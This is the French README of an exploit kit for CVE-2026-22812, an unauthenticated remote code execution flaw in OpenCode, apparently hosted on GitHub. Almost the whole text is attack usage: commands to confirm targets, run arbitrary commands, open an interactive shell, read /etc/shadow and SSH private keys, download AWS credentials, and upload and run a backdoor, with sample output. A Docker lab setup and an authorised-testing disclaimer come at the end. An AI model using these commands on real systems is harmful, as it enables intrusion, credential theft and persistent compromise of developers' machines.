
# Kit d'exploitation pour CVE-2026-22812 (RCE non authentifié OpenCode) offrant un shell interactif, l'exécution de commandes arbitraires, le téléversement/téléchargement de fichiers et l'énumération du système pour des tests de sécurité autorisés.
Kit d'exploitation complet pour CVE-2026-22812 - RCE non authentifiée OpenCode
L'outil d'exploitation CVE-2026-22812 est un framework d'exploitation complet pour la vulnérabilité d'exécution de code à distance non authentifiée OpenCode. Cet outil propose plusieurs méthodes d'exploitation, notamment un shell interactif, des opérations sur les fichiers et l'énumération du système.
# Cloner le dépôt
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# Installer les dépendances
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
Sortie :
[+] La cible est VULNÉRABLE à CVE-2026-22812 !
[+] ID de session : abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
Sortie :
[*] Création de la session...
[+] Session créée : abc123def456
[+] La cible est VULNÉRABLE !
[*] Exécution : id
[+] Commande exécutée avec succès
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
Session interactive :
[+] Session créée : abc123def456
[+] La cible est VULNÉRABLE !
[*] Entrée en mode shell interactif
[!] Tapez 'help' pour les commandes, 'exit' pour quitter
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Lecture du fichier : /etc/hostname
[+] Fichier lu avec succès (10 octets)
dev-server-01
developer@target$ exit
[*] Sortie...
# Commande unique
python3 exploit.py -t http://target:4096 -c "whoami"
# Commande complexe
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# Commandes multiples
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# Lire des fichiers sensibles
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# Téléverser un script shell
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# Téléverser un binaire
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# Téléverser avec exécution
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# Télécharger la configuration
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# Télécharger les identifiants
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# Télécharger le code source
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# Collecter les informations système
python3 exploit.py -t http://target:4096 --sysinfo
Sortie :
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile pour OpenCode vulnérable
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# Construire et exécuter
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# Tester l'exploit
python3 exploit.py -t http://localhost:4096 -i
# Installer la version vulnérable
npm install -g [email protected]
# Démarrer OpenCode
opencode
# Dans un autre terminal, exécuter l'exploit
python3 exploit.py -t http://localhost:4096 --verify
⚠️ Ne déployez jamais de versions vulnérables en production !
À LIRE ATTENTIVEMENT
Cet outil est fourni UNIQUEMENT POUR LES TESTS DE SÉCURITÉ AUTORISÉS.
Les auteurs :
En utilisant cet outil, vous acceptez de :
UTILISATION À VOS PROPRES RISQUES
⭐ Mettez une étoile si utile ! ⭐
Réservé aux tests de sécurité autorisés